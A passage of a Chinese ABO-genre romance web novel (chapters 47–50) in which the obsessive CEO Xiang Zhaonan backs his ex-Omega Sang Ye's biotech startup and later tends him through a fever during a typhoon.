相召南面无表情,坐姿挺拔,即使是患者,也自带一股上司的气质。 “再开些药,我还是失眠。” 李由抽了张药单出来,又从胸口的口袋抽出蓝黑色的水笔。 三年前相召南就出现了严重的失眠症状,作为相召南的心理医生,他知道病人的失眠是因为太偏执,但还没有达到心理问题的程度,便给他先开了些安慰剂。 安慰剂是一些蓝色的空胶囊,一般患者吃下后以为自己吃了药,心理作用下情况有所好转,症状自然就减轻了甚至痊愈了。 但相召南把药带回去第三天就问李由这药怎么没用,能不能加大剂量。第四天就发现胶囊里面根本没有药粉。 这时便确诊。 他的偏执已经形成心理问题了。 拿完药,相召南直接把药放在了车上,这样他无论是在家还是在公司都能随时吃药。 而李由,站在落地窗前,目送他的患者离去。 他面上表情凝重。 桑也,相召南的前任Omega,也是相召南偏执的对象。 回国了。 根据李由在新闻里了解到的内容,此时的桑也和过去大不一样了。 也不知道他的回来会不会给相召南的病情带来转机?抑或是加重?一切都是未知数。 平心而论,李由并不希望相召南频繁出现在桑也面前,从相召南过往的讲述中,他完全了解了他的患者对那个可怜的Omega造成了多大的伤害。 但作为对相召南负责的医生,不得不承认一句古话。 解铃还须系铃人。 只是不知道现在的桑也究竟是更接近相召南照片里的那个人,还是几年前和深受相召南冷眼的那个人? 太阳落日,李由坐回自己的座椅,低声念了一句: “会有好转吗。” 又自我否认: “首因效应坚不可摧。” 话一出口,他便自嘲地笑了下,“相召南把我都带骗了。” 第47章 到了夏末, 天气很干燥,早上起来桑也流了会鼻血,按照小时候姥姥教的方法, 在洗漱台前泼凉水到后颈的位置, 没多时就止住了流血。 他弯着腰等了一会, 确认没有新的血液滴下来, 才直起身,看着镜中的自己, 有些潦草。 桑也将水龙头打开到最大, 水流哗地一下冲出来,把白瓷水台的血渍冲淡, 从深红色到浅粉色, 最后渐渐恢复到透明。 嗅了一下,血腥味也散开了, 他才快速给自己收拾了一下, 换上正装,出门。 今天要和桑守安一起去一家著名的投资企业鸿业融资,昨天大哥提前给他发了资料, 说让他到时候上去讲点,桑也浏览了一下, 基本了解了情况, 没什么难度。 他让张明直接去那家企业, 自己则蹭大哥的车。 刚上车, 他便打开加湿器。 “很干吗?” “有点。” “可能是。S市很久没有下雨了, 天气又大。” 桑也放了个小枕头在腰后垫着,眯了眯眼,“起诉的事怎么样了?” “证据确凿。”桑守安转了下方向盘, 车辆整个九十度转弯。 桑也睁开眼睛,“能让陈张那两个进去吗?” “陈国安都躺ICU了,怎么着也进不去。” “那小的呢。总得进去一个吧。” 要是一个都进不去,大哥这三年遭的罪岂不白费。 却见桑守安还是摇头,“还记得之前那个被桑氏开除的会计吗。桑氏被收购之后他在家待业了两年半,半年前才到陈张就职,父母孩子都被转移到国外,现在国内就他一个人。” “陈张把他推出来顶包了。现在他咬死不认受人指使,只说自己在桑氏受了委屈,一时鬼迷心窍,就在账本上动了手脚。” 半年前。 看来陈张那边也知道桑守安出狱后会找他们麻烦,提前把顶包的人套在公司,放在眼皮子底下盯着,免得人拿了钱不干活就跑路。 桑也直直盯着车的后视镜,差点把镜子盯穿,好半晌才挪开目光。 “当年……你怎么拿到证据的?是看了我给你写的信吗。” 桑守安沉默了一会,“你写信之前我就知道了。” “一直没说。相召南在我进监狱之后没多久就来探监了一次,跟我讲了这件事,只不过监控什么的都被删了,一直没找到实质性证据。” 桑也知道为什么桑守安不敢跟他说相召南找过他,就像桑也迟迟不敢告诉桑守安他从相召南那里得知了可疑对象一样。 二人心照不宣地避开了这一茬。 桑也问:“后来是怎么解决的?” “他……监狱里面有个技术型人才,让他帮忙恢复了监控。” “那你们监狱里人才还挺多。” 桑守安低头轻笑了下,什么也没说。 “从监狱出来也有段时间了,你天天忙着翻案跑警署、跑工商局、写企划案,没人找你叙叙旧吗?” 桑守安脸上笑容霎时僵住,半晌只说了一句:“忙点好。” 桑也闷闷地笑了两声。 他怅然地叹了口气,“先前一年几百个亿的营收不放在心上,现在为了点启动资金跑东跑西,心酸吗?” “心酸什么。过段时间案子结了,冻结的资金和赔偿款下来,就不用这么狼狈了。” “过段时间,”桑也撇了撇嘴,“他们的效率有多低你又不是不知道。” 没个一年半载怕是下不来。 “要是这回融资失败了,就拿M国那边的现金先用着吧。多的拿不出来,十来个亿还是可以。” 虽然单是成安拍卖会和心叶美妆市值就不止几十个亿,但毕竟不是专门搞投资的,没有那么多流动资金,短时间要拿出大量可支配资金不是什么简单事,十个亿已经算是极限。 桑守安却摇头,“不至于。M国那边把自身循环做好就行。” …… 相氏作为投资业中的龙头企业,经常受邀到其他企业交流,美名其曰传授经验,其实就想套他的口风,看看哪些领域值得入手。 毕竟只要是相氏投资的领域,就是蚂蚁也能吃成猪。 今天他便到了S市这家没成立多少年的企业交流,原本是想推了,后来得了点消息,又临时答应了。 刚一下车,鸿业的执行总裁方总便在车门等着他,一路引着他上楼,参观下鸿业的格局,和鸿业的管理层都浅聊了几句。 最后,方总说他们的总经理还在听人谈投资的事情。 相召南心跳漏了一拍。 他事先得到消息桑也会来鸿业,但他到了大厦的车库,并没有看见桑也那辆显眼的跑车,以为桑也临时又不来了,心里还失望了一下。 虽然方总没说和鸿业总经理谈投资的是不是桑家的人,是桑守安还是桑也,相召南心里还是升起了一点希望。 希望是桑也。 他对方总说:“带我去旁观一下。” 方总以为他要指导点什么,立马应下,带着人快速走到会议室隔壁,打开了投影仪,上面放着会议室的监控。 桑也的脸出现在投影仪上的一刹那,相召南连坐下都忘记了。 他直直站着,目光灼灼,一刻不离,被屏幕上侃侃而谈的人吸引到仿佛失去意识。 直到陈助小声喊了他好几次,相召南才回过神来,坐在陈助提前拉开的椅子上。 方总见他这个样子,拉着周围的一个人低声谈了两句,随后露出恍然大悟的神情。 他已经六十多岁,平时不关注什么八卦,知道相召南以前和桑氏的小儿子联姻,但不知道那个人具体长什么样,也不知道近期在网上热议的艺术家就是那个联姻对象。 方总心说,真是缘分。 面上还是说着官话:“这是新桑科技的两位代表,主攻的是生物科技,刚才桑守安已经对他们公司做过基本介绍,现在是他弟弟在阐述优势。” 他看向相召南,却见这个人目不转睛盯着投影仪屏幕,似乎完全没有听他说话,只好自己尴尬地咳嗽两声。 这时,相召南收回目光,“嗯。” 得了回复,方总才感觉自己这张老脸找到了地放,正了正衣服。 投影仪和音响的品质很好,画面上桑也的影像一清二楚,连一根翘摇的发丝都清晰可见,声音更是无损,音色完全没有受到电子设备的影响,和他本身的音色一模一样。 摄像头的位置估计就在桑也的对面,以至于桑也的一举一动、一颦一笑似乎都直接对着相召南。 相召南原本双手交叉,手肘放在椅子扶手上,整个人靠在靠背上,到后面慢慢地双手攥成了拳,人也坐正了起来,仿佛想要钻进屏幕里。 “新桑预计在前期主打生物科技设备的研发和销售,相比于医药,这些设备的研发周期更短,效益更高。到后期逐渐扩展到医药研制,扩大规模经济和范围经济……” 屏幕上的桑也如此生动,流畅自信,似乎是因为讲得太久,脸上和脖颈上出了些薄汗,双颊飘着点激动的绯红,令他整个人像白润的珍珠在红色灯光下熠熠生辉。 然而一道刺耳的声音打破了这一和谐的画面。 “你们毫无根基,从一个全新的领域开始,虽然你们说得很妙,听起来很诱人,似乎利益很大,但这个行业不是谁都能碰的,我们见了太多的小年轻想要创出一番名堂,结果在生物科技翻了车。” 桑也被打断时短暂地诧异了一下,随后微笑着安静听他讲完,之后才回应:“我们有着丰富的公司管理经验,聘用的技术人员也是顶级院校早有成就的学生,他们都是带着半成品进入我们新桑的,相信不久以后就会有新产品问世……” “如果是三年前的你们,那还有几分可信度。只不过现在你们都沦落到来我们这融资的地步,实在很难让人相信能做出什么成果。这行的成功企业都是砸钱砸出来的。” 桑也仍是持着一副笑容,正要说点什么,就听那人接着说:“先不说桑守安先生身上有案底,这件事情就是个隐形炸弹,单就说你,小桑总,国外那套在国内恐怕行不通。你想在国内当网络红人,就不要随意插手正经事业了吧?大家都不是傻子,没人会买账。” “反正你回国回得人尽皆知,顺势买点热度,开个直播,割点韭菜,不比辛辛苦苦经营企业强?” 要说先前他挑刺还在正常范畴,是桑守安和桑也提前预料到的难题,现在这些话就完全跳出了公事,带着私人态度了。 桑守安拧着眉,突然想起多年前鸿业想要投资桑氏地产,被他拒绝了,难道是那时候的怨气记到了现在? 而桑也,不知道还有这一回事,只知道鸿业的总经理对他们似乎有不满。 脸上笑容掉了一瞬,又立即浮现,桑也继续回应:“大哥的事情在不久后就会有结果,不用担心会对新桑造成什么不良影响,至于我……” 他的话再次被打断。 “至于你,比起在鸿业夸夸其谈,不如像在M国傍上林肯一样,在C国接着傍个大腿,到时候你吹吹耳边风,可比在我这费口舌来钱来的快。” 总经理对桑家人有怨气,不仅是因为多年前被扫地出门的糗事让他铭记在心,更记恨着这个Omega居然敢挖了腺体在网上煽动人心,揭起Omega反Alpha的大旗,那些娇弱的Omega竟然起了逆心! 桑也的表情彻底维持不住了。 他深吸了一口气,“如果经理对我有什么不满,大可以直说,没必要多加揣测,还是一些虚无荒谬的揣测!” 总经理冷哼一声,“你爬了林肯床的事上流圈子里无人不知,我难道说错了?” 哐啷一声,会议室的大门被人踹开! “这个项目,鸿业不投,”相召南站在门口,身后站着一堆小跑着跟上来还喘着粗气的人,“相氏投。” 寒剑似的目光射向经理。 第48章 总经理转过头去, 正要呵斥是谁这么大胆,看见踹门的人是谁后,原本一肚子火气霎时没了, 脸色发白! 方总更是哆嗦着, 不知如何是好。方才总经理那一番话他们在隔壁听得一清二楚, 导致他现在连编理由说是误会给人开脱都不行。 他只能扭着自己七老八十的身体从相召南和房门的空隙之间钻进来, 生硬地打圆场:“想必是……误会,对, 误会。经理也只是想看看两位桑总的抗压能力如何, 呃,毕竟咱们搞科技的, 很容易失败是不是?经理也是为了大家好……” 然而没有人听他的话, 场面一片寂静。 直到桑也突然从台子上走下来,“不需要。” 会议室内众人顿时炸开了锅。 张明更是直接冲到桑也身后, 拽了一下他的胳膊肘, 表情扭曲:“桑总,你干什么呢?” 他十分费解,“相氏要是投了, 咱们起码好几年不用担心钱的事。” 桑也看了他一眼。 张明跟着他干了三年多的事,对他和相召南的恩怨情仇不可谓不清楚。说出这种话, 无非是觉得他对相召南的排斥远不如公司重要。 被桑也扫了一眼, 张明冲动的情绪下了头, 吞了吞口水, 道:“我只是觉得, 既然桑总这三年也画了不少关于他的画,可能内心也没那么介意了,这样的话……” 虽然张明压低了声音, 但站得近的人还是能听得一清二楚。 桑也朝相召南看了一眼,发现他听到之后脸上并没有出现类似于震惊的表情,反而目光炽烈地盯着自己,隐隐还有某种期待。 又看向桑守安,见他皱着眉头,站在长桌的另一侧,朝自己做了个口型,桑也读了下,大概是叫他不用管相召南。 一时间生杀予夺大权就交到了桑也手中,在所有人紧盯不放的注视下,桑也心一沉,对着相召南抬了抬下巴:“走吧,我们谈谈。” 没等相召南回复,他就擦着相召南的胳膊从会议室出去,凭借着刚进来时的观察和记忆找到了一间没有人使用的小会议室。 他刚进去,相召南就跟了上来,自觉把门带上。 贴心得不像相总,像相助理。 桑也心中有些烦闷。 每次撞上相召南他都有这种烦躁的情绪,从他的心,到他的表情,再到他的动作,无处不透露着这种躁郁。 他穿着一件宽松的墨绿色丝绸衬衫,下摆扎进西裤,因为身量小的缘故,虽然衬衫宽松,却并不显臃肿。 袖子在讲说的时候就已经挽到了袖口,进了房间,他又感到闷热,拽了拽领带,粗暴地把领带扯松后顺势解开了第一颗口子。 随后拉出一根椅子坐下,面无表情道:“不需要你多管闲事。” 相召南从他身后绕到他对面,也抽出一根椅子。 在桑也没有看见的地方,相召南的目光在桑也领口处停留了好一会,仿佛有一股柑橘味的馨香传出来,也应该有柑橘味传出来,但相召南仔细凝嗅,最后遗憾地发现全是他的幻想。 他坐下,“我只是出于利益考综合考虑了新桑的发展前景做出了投资的决定,不算多管闲事。” 相召南深知,但凡自己说出一句“我为了你”“我想弥补你”诸如此类的话,桑也必定会立马翻脸走人,连聊聊的机会都不会给他。 所以他只能违背良心说自己只是图谋利益。 桑也抬眸,棕色双瞳和那双诚恳的黑色长眸对上,旋即迅速移开。 “是吗。” 相召南接着说:“你大哥的能力不必多说,你这三年的历练下来也成长了许多,经验,阅历和眼界应有尽有,作为管理者,你们两个人超过了绝大多数的创业者。” “而生物科技这个领域,那人有一句话说得没错,前期的确得砸钱,但刚好相氏最不缺的就是钱。我投资你们,是我出钱你们出力的双赢。” “我从不做亏本的买卖。” 他以为自己这一番话完全把自己的私心摘了出去,晓之以理,总能说服桑也,却听见桑也突然“呵”了一声,旋即在那张精致漂亮的脸上看见了讽刺的神情。 相召南浑身一僵,恍然反应过来自己踩了什么雷区。 果不其然,下一秒就听见桑也说:“相总的确从不做亏本的买卖。” 说撤资就撤资,置身事外,毫不留情。 相召南脸刷地一下就白了。 他手足无措,握了握拳又松开,双脚慌乱地动了下,体会到了无论是出席全商界精英人士聚集的晚会、在慈善晚宴被无数摄像头对着,抑或是在相氏大厦面对着一个个妙语连珠吹嘘项目的融资者时从未体会到过的窘迫。 相召南薄唇失去了血色,轻轻翕合嗫嚅:“抱歉。” 被他收藏起来的监控视频里,跌跌撞撞的桑也冲出卧室,打开电视机,却被残忍的消息冲晕了过去。血淋淋的画面久久盘旋在相召南的脑海里。 谁也没说是哪件事,但谁都知道是哪件事。 一大片云逼近太阳,渐渐将日光遮蔽,一条清晰的明暗交界线从窗户对面的白墙上逐渐下移,最后越过桑也,横亘在二人之间。 阴影下,桑也忽地全身微颤起来。 抱歉。 两个字就想抹平他和大哥遭受的不平吗? 他失去的孩子,失去的腺体,失去的亲人,和失去的时间,哪一样是他两个字就可以轻易弥补的? 异想天开! 相召南越是表现得愧疚,越是装出一副诚心悔改的模样,桑也就越是喘不过气,越是恨他! 心脏像是被人全力攥住,又猛地一掐,桑也再也维持不住表面的淡定。 他浑身一震,兀的匍匐在了桌上,单薄的背弯曲着,弓出一道弯月的弧线。 椅子脚在地上摩擦发出刺耳的剐蹭声,相召南站起身来,三步并作两步跨到桑也身边,大手抚在那圆顿的肩头,本想问他是不是生病了,却感受到手上连续不断的震颤,含在嘴里的话也没了出口的必要。 他这时也顾不上什么绅士风范,直接把人抱起放在自己怀中,“叫救护车?” 然而他话音刚落,就看见桑也抬起头,睁着一双写满了恨意的眼眸。 下一刻,他的右臂传来了剧烈的疼痛,是桑也抠着他上臂的肌肉。 相召南吃痛,下意识崩起肌肉,想要挣开,却对上那一双浑浊的眸子,怔愣了一下,不自觉放松了肌肉。 让桑也抓得更深一些,更不费力一些。 他错开视线,不敢去看桑也的眼睛,只是无言地充当着猫抓板。 怀中人震颤的幅度逐渐放缓,从原本时刻不停的痉挛变成时不时抽搐一下,大约过了十来分钟,才彻底平息下来。 相召南没有叫救护车。 他看见桑也充满恨意的眸子便知道并非生理上的疾症而是心理上的反应,需要的可能不是医生,是时间。 而桑也对外的形象又是那么的光鲜亮丽,要是这时候叫了救护车,传出去的内容恐怕不是他所乐意见到的,最后相召南又好心办坏事了。 桑也从狼狈不可控的痉挛中恢复过来,等他腿上一有力,便立马从相召南身上站起来。 刚缓过来,他呼吸还很沉重,咬了咬牙,冷冷道:“装模做样。” 相召南无可奈何地苦笑了下,点头:“嗯,我装模做样。” “但我诚心想要投资新桑那,我是个商人,逐利是我的天性。” 相召南怎么也想不到他能如此坦然、如此面不改色、如此脸不红心不跳说出逐利是他的天性这种话。 但是对自己的贬低的确比对地自己的“包装”更有效果。 他的话没有再引起桑也的反感。 桑也心跳放缓了速度,情绪也平静了下来,听了相召南的话,默默道了句:还算有自知之明。 “我相信以你们二人的能力,把桑氏做大做强无非是时间的问题,所以我愿意降低盈利占比,只要你给我们相氏一个入场的机会,可以吗?” 按理说作为投资方他该是作威作福的那一派,现在却卑微到地里求着别人给他花钱的机会。 单看他诚挚的表情,知道的他说的是投资,不知道的还以为是求婚。 桑也面无表情转身,说:“自己跟大哥说吧。” 说完便要离开。 却被相召南叫住。 “等等!” 相召南快步上前来,只是用语言叫住桑也,没有伸手。 桑也微微皱眉,“还有什么要说的。” 转身却看见相召南以一种诡异的表情看着自己,吞吞吐吐,欲言又止,半晌才憋出一句:“张明说你画了很多关于我的画……” 桑也冷哼一声,原来是问这个。 他说:“噱头而已,不必在意。” 随后微微挑眉,浅笑问:“不问问我和林肯是什么关系吗。” 相召南愣了一下,立马道:“我相信你们是清白的。” 桑也的笑容瞬间消失,没再看相召南一眼,抬脚离开了会议室。 彼时信任全无,现在竟然说起了“我相信”,真戏剧。 回到众人在的大堂,桑守安和方总已经攀谈了许久,虽然经理在一旁摆脸色,但除了他,总体氛围还算和谐。 他出现在众人面前那一刻,迎接了所有人的目光。 随后这些目光移向他身后。 “桑总,约个时间具体谈谈投资事宜如何。”相召南跟在他身后,隔着好几米的距离大声说。 这下大堂里所有人都知道相氏确认要和这个刚刚创立的新桑合作了。 桑守安诧异地望向桑也,桑也神色自若,视若无人:“赶着送上门的钱袋子不用白不用。” 桑也第一时间看向那个总经理,只见他脸色乍青乍白,还想上前说点什么,嘴巴刚一张开,腿还没迈出去,就被身侧的方总拦住。 随后又有几个穿西装的人出来,听员工叫董事,应该是鸿业的董事会成员,得知相氏要投资新桑后来看看情况。 踩低捧高一向是不成文的习俗,到了这个地位,能够做到一视同仁才是少数,桑也在M国就已经深刻体会过了。 他什么也没说,只对桑守安点了点头,随后抬起手摇了摇手机,示意他电话联系,便直接往电梯走去。 “桑也。”相召南叫他。 桑也按下电梯按钮,没有丝毫停顿。 好巧不巧电梯刚好抵达,桑也让里面的人出来,自己没有停留地站了进去,按下负一楼的楼层按键。 电梯门缓缓合上。 在逐渐变得狭窄的长方形视野中,桑也看见相召南停在了电梯口前。 那人说:“周日见。” 电梯彻底合上。 第49章 周日。 S市迎来了近十年来第一场台风。 昨天晚上还预测的是台风绕着S市走, 只是会下几场大雨,桑也当时还有些期待,毕竟S市这个夏天天气炎热得可怕。 结果早上一觉睡醒, 窗外霹雳啪啦, 树干倒了一地。 新闻上说是因为靠北的极端天气影响了台风原本的路径, 才让台风转而进入了S市。 桑也起床一看, 发现大哥和两个阿姨都没在海风府。他电话问了下才得知大哥一大早就出发去了公司,两个阿姨赶早去买菜, 还没回来, 台风就先到了。 他叮嘱大哥在公司注意安全,又转账让阿姨们到临近的酒店开个房, 等台风过去。 交代完这些, 自己才摸索到一楼翻出医药箱,剥了两片止疼药含在嘴里, 慢悠悠晃到厨房去倒水喝。 他这三年来一直都有下雨就骨头疼的毛病, 习惯以后家中时常备着止疼药。 趁着还没开始痛,他在一楼看了看外面的情况,伸手到窗外感受了一下。可惜窗子刚打开一个缝就有猛烈飓风夹杂着雨丝呼啸而来, 桑也只好连忙把窗户关上。 看着窗外,桑也从雨景中惊醒, 突然想起了今天的安排。 他给张明打了个电话:“不用来接我了。” 这么大的台风, 这么大的雨。 如果是别人, 桑也还会发个信息问候一下, 顺便商量着取消见面。但是相召南, 他那么精明会算计会权衡利弊的人难道不知道下雨了要往家里跑的道理? 更何况桑也又没有相召南的联系方式。 于是回到卧室,把手机往枕头上一扔,蒙头就睡。 雨天最适合睡觉。 …… 从鸿业出来之后, 桑也在车库等了半个小时桑守安才出来。 从桑守安口中他得知不仅相氏要投资,鸿业也抢着要投资,生怕晚了赶不上相氏的大船。 桑也倒也没说什么不为五斗米折腰的话,商人哪有嫌钱臭的? 比起这个,他更在意在会议室自己突然的应激。 于是第二天到新桑挂了个职后去了一趟医院。 他推开挂着“陆让简”名字的门,跟陆医生打了个招呼。 寒暄之后,他对陆医生说:“这次来见你主要是想问问关于腺体移除手术的后遗症。” 陆医生正襟危坐:“感知失调?” 桑也笑了下,“感知失调算一个,每次下雨天我都感到浑身的骨头疼,但我其他部位其实并没有受过伤,后来我才反应过来疼的是我残缺的腺体,对吧?” “不过我今天想说的不是这个。” 桑也坐在木椅上,往前挪了挪,“昨天,我见到了相召南,之后就出现了毫无征兆的痉挛,浑身都在颤抖,我掐着他的胳膊,应该是掐出血了,很久才平缓下来。” 桑也回顾的神情并不轻松,在陆让简看来,那张好看的脸上出现了融杂着不解、挣扎、沉沦的复杂表情,令他不自觉想要进一步探究究竟发生了什么。 陆让简问:“还有别的表现吗?可以说得更具体一些。” 桑也浅棕色的双目黯淡了。 “在我出现那样的反应之前,他对我说抱歉。” “只要他一表现出半点愧疚,懊悔,歉意——我就控制不住,控制不住情绪,控制不住身体。”桑也的声音有些艰难,下巴似乎在微微颤抖,导致他的声音都不如以往沉着。 “你有看见他胳膊出血吗?” “没有。但我能感觉到。” 陆让简许久没有说话,直到桑也抬起低垂的眸,他才从沉默中脱身出来。 “我有一个朋友是心理专业的,在市中院,嘴很严,你不妨找他聊聊。” “我心理出问题了吗?” “不一定。可能只是情绪化,不用太担心。” 虽然陆医生嘴上说着不一定,但桑也心里清楚,简单的情绪化不会出现浑身痉挛不止、控制不住伤人的情况。 之后桑也便拿着写着李医生联系方式的名片回了家。 …… 雨下得很大,像天边破了口子,无穷无尽的雨倾盆而下,把S市灌满,水泄不通。 桑也再醒来时,头烫得能煎蛋。 老大犬吠不止,趴在床边嗷嗷叫,边叫还边挠地。 但桑也双腿疼得起不来,只伸手摸了下狗头,“没饭了吗?不应该啊,我先前起床看你碗里还有那么多。” “不能吃多了,当心吃撑了被医生拎起来抖。” 老大见主人理解不了自己的意思,还误解自己,急得直转圈。 不过桑也还是起来了。 他得下去吃个药。 哆嗦着双腿勉强走到楼梯口,突然想起自己已经吃过药了。 可能是止疼药吃太多不起作用了,也可能是雨下太大身体的反应更剧烈,两片药效果不够。 但桑也不敢再吃了。 他转身又要回房间。 老大见他不继续走了,叼着他的睡衣裤角往下面拽。 桑也被拽着下到一楼,最后停在座机边上。 老大先是对着大门口方向叫了好几声,接着转向座机,两只后腿站着,前爪扒拉着座机,嘴巴叼起话筒,往桑也身上放。 桑也接过电话,揣摩了一下。 “你想让我打电话?” “汪!” “外面有人?” “汪!” “要我报警?” “汪汪!” 老大脸上流露出了欣慰的笑容。 然而桑也并没有拨号,他把电话放下,拖着双腿往前走了几步,在一扇窗户前停下。 这么大的台风,小偷应该也不会顶“风”作案,他更倾向于有人因为突如其来的台风被困在他家周围。 桑也透过窗户扫视了一圈,没见着有人,便又觉得是老大在恶作剧。 之前在M国老大也经常在周末莫名其妙对着空气大叫。 鉴于老大恶名在前,桑也对它实在没有太多信任。 桑也已经疼得说不出话来,只觉得浑身上下都有蚂蚁在啃食他的骨髓,只好半抚摸半依靠地搂着老大的脖子,想让它别叫了。 结果老大一个猛窜,突然起身趴在窗台上,一连嚎叫了好几声。 桑也吓了一跳,顺着老大的目光看过去,竟然真的在院子外面看见了一个人影。 他凝神。 高大的身材,湿透的酒红色衬衫和黑色马甲,挽在手臂上的西服外套。脚边还有一把坏掉的黑伞。 是相召南。 桑也本就不太美妙的脸色更加糟糕。 他转头,想要视而不见。 然而相召南却也敏锐地感受到了他的目光。 在桑也转身的一刹那,伴随着电闪雷鸣,相召南喊出他的名字:“桑也!” 隔着密封的玻璃,相召南的声音混着雷雨声朦朦胧胧传入桑也耳朵。 桑也摇晃了一下,他拎起老大的大耳朵,问它:“你说我是赶他走,还是赶他走呢。” 天空传来一声巨响,雨越下越大了。 “他要是死在我家外面,不会把我抓去问话吧。” “或者,上新闻,相氏总裁台风天赶赴前Omega家中竟惨死,究竟是人性的扭曲还是道德的沦丧?” 桑也说着,语气平平,慢慢地走向大门,按下开门键,打开了院子外门,别墅门没上锁,相召南脑子不傻,应该不需要自己再特意帮他开这个门了吧。 外门刚一解锁,相召南就迅速推开门,冲进院子里,最后停在别墅大门处。 屋檐遮住了大部分的雨水,但风太大,左摇右晃的雨还是浇在了他的头上。 相召南在门口等了会,没见大门打开,抬手敲了敲门,还是没有反应。 脑海中浮现出一晃而过的桑也那张惨白的脸。 他心脏猛跳了一下,下意识握住门把手转了一下,竟真的打开了门。 相召南连忙进屋,反手把门带上,随后拍了拍身上的水。水汽太重,万一传到桑也身上就不好了。 他朝屋内看了几眼,没见着桑也,转了一下,在一根廊柱边上找到了人。 桑也面色发白,比他一个在雨中吹了两个小时风的人看着还破败。他靠在廊柱上,双目低垂,似乎很无力。边上的黄狗焦急地跳来跳去。 相召南心口被揪了一下似的。 他想说话,但是一冷一热之下,喉咙发痒,张口还没说话就忍不住咳嗽了两声。 桑也泛白的唇轻动:“别在我这卖惨,没用。” “但你还是开门了。” 原来桑也也会嘴硬心软。 相召南丝毫没有被放鸽子的怨气。 桑也眼珠转了下,“那是怕你死在我家门口。我嫌晦气。” 说完,他抬腿,想要转身离开,结果后背刚一离开廊柱,整个人就摇晃了一下,直愣愣地摔向了地面。 相召南把手上的湿西装一丢,朝着桑也跑去。 然而他手还没有碰到桑也,那条大黄狗就一个猛冲直接把他创翻。 “你主人摔倒了,我得去扶他起来,你听话些……”相召南推着狗头。 老大似乎没听懂,又朝他叫了几声。 相召南只好扭着黄狗的头,指着桑也:“他受伤了。” 老大汪了一声,又冲回主人身边,在桑也边上团团转,最后用自己的头去拱他,想帮他站起来。 相召南这才得以脱身。 桑也发烧了。 刚才隔得远,只看见他脸很白,凑近了才发现其实两颊的地方很红,只是其他地方惨白到透明,太明显,抢了视线。 相召南俯身想要去抱他起来,弯腰到一半想起自己身上衣服都湿透了,要是把桑也的衣服打湿了,恐怕会病得更严重。 他只好停住了动作,转而把自己上衣都脱下来。 因为太急促,连一颗颗解扣子都等不及,直接把一排口子拽烂,随后扯掉了衬衫。 这时他才把晕得不省人事的桑也抱起来。 双手冰冷但额头滚烫的桑也似乎说了句什么。 相召南附耳听,发现他说的是:“相召南,我腿疼。” 第50章 两颊在短短几分钟之内烧得酡红, 像是喝醉了酒,双眼紧闭,似乎看见了什么梦魇似的脏东西, 眉头皱得死死的。 相召南将人打横, 调整成桑也舒适的姿势, 也没顾着老大在他脚边嗷嗷叫着不让他走, 直接往楼梯迈步。 “桑也,你的房间在哪?桑也?” 相召南人高马大, 穿着衣服时不见得有多少肌肉, 脱了衣裳到全都显现出来了。 精壮结实的肌肉附着在宽大的骨架上,背部的虬起沟壑还挂着未擦净的水珠。 即使是一口气抱着人从大门口上到二楼, 也没有喘一口大气。 然而桑也晕厥不醒, 听不见他的问题,令他焦灼不已。 好在这时老大自告奋勇撞开了一间房间半掩着的房门。 相召南会意, 立马把人抱进去, 放在床上,掖好被角。 房间的装饰不像华润湾那样极简,但又不似桑也过去喜好的那样繁盛, 而是处于两者之间,整体素净的装修中跳脱地带了点花花绿绿, 但又十分和谐。 相召南只迅速扫了一眼, 便确认了这就是桑也的房间。 尽管他无凭无据。 桑也还烧着, 似乎是体温太高, 嘴唇都烧得干燥了, 不停地呢喃着什么。 相召南到洗漱台接了盆温水,把干毛巾打湿,出来给桑也冷敷。 桑也出了些薄汗, 汗珠黏在额角的碎发上,相召南仔细用指腹将碎发挑起来,才把湿毛巾放上去。 又重新拿了一张毛巾替桑也擦拭脖颈,锁骨和胸口处的黏汗。 一边擦试着,一边给私立医院打了电话。 可惜台风太大,医院只能通过电话告诉他该如何给病人降温。 “家中有退烧药吗?用温水送服,之后让病人用三十度左右的温水擦拭身体帮助降温。” 相召南不熟悉海风府的格局,也不知道医药箱在哪里,给桑也换了一张湿毛巾敷额头后在楼上楼下翻找了十来分钟,才找到退烧药。 等他倒好温水过来,一看桑也额头上的毛巾已经敷得快冒烟了。 只好又忙手忙脚帮他换了帕子。 这才得空来给他喂药。 他先拖着桑也的上身,让他嘴唇沾沾水,润润唇和喉咙,免得待会吞不下去药。 结果嘴唇刚一沾上杯口,桑也便偏头不肯张嘴。 “桑也,喝点水,吃药了。” 桑也浑然不理他。 相召南干着急,突然听见桑也小声说了句什么。 就是声音太小,跟猫叫似的,听不清。 相召南一着急,便把耳朵凑了过去,听见他说“凉”。 端着水杯的人一愣,刚接出来的温水,应该不至于凉得这么快吧? 但他很快就明白了,桑也发着烧,体温比常人高些,感受到的相对温度就低些,更何况他接完水后还换了次毛巾。 合情合理。 相召南便将人妥帖放下,重新去接水,特意把智能饮水机的出水温度调高了五度。 结果等他再次喂水时,桑也又躲了过去。 这回说“烫”。 相召南端着水杯,一时无措。 “我帮你吹一下,吹凉一点行吗?” 桑也似乎很排斥他的触碰,说不定也对他帮忙吹凉烫水感到排斥,所以他问得小心翼翼。 桑也神志不清,什么也没说。 相召南便当他默许了。 然而他等了十几秒钟后突然意识到一个问题,自己如何得知热水到了合适的温度? 按理说直接尝一口是最便捷的方法,可是桑也…… 相召南看向桑也,他睡得很不安稳,额角还在不停地冒着汗珠,眼睑时不时跳动一下,似乎是在挣脱着什么。 此情此计,相召南实在没办法再按照李由所说像个正常人一样忍耐克制,直接饮了一口热水,觉得差不多了,才取出药丸。 他捏着药丸,目光定定看着晃动的水,突然又转头看向桑也。 相召南不由得叹了口气。 即使是发烧昏睡的桑也,得知自己为了喂药亵渎了他的唇,也会记恨在心念念不忘吧。 由此打消了心底某些主意。 转而将药丸用双指捏成细小颗粒,一口药一口水,耗了五六分钟才把一颗药丸全部送进桑也肚中。 一杯水也磨得差不多了。 相召南将水杯放下,腾出手来为他擦去唇角的水渍。 刚好此时桑也睁开了眼。 相召南浑身一僵,似有似无地握了握拳,最后迅速收回手,解释:“刚给你喂了药,你唇角有些水。” 也不知道桑也听懂了没有,只见他双眼目光游离许久,才勉强落在了相召南脸上,像一个电池没电的机械娃娃,耗尽了最后一格电。 相召南心中横生畏欲,面对桑也平静的目光竟然感受到一丝怯懦。 他静静立在床边,光裸着上身,仿佛等待着雇主的检验。 最后桑也又疲惫地闭上了眼。 相召南这时才想起来医生所说让病人用温水擦拭身体。 可桑也连睁眼的力气都没有,又怎么能自己擦拭身体。 他试探性问:“桑也,我带你去浴室擦一下身上,可以吗?” 明明是他照顾病人,一言一词却又卑微得像是被照顾的、毫无自主权任人拿捏的病人。 良久,桑也缓缓点了一下头,随后便没了反应。 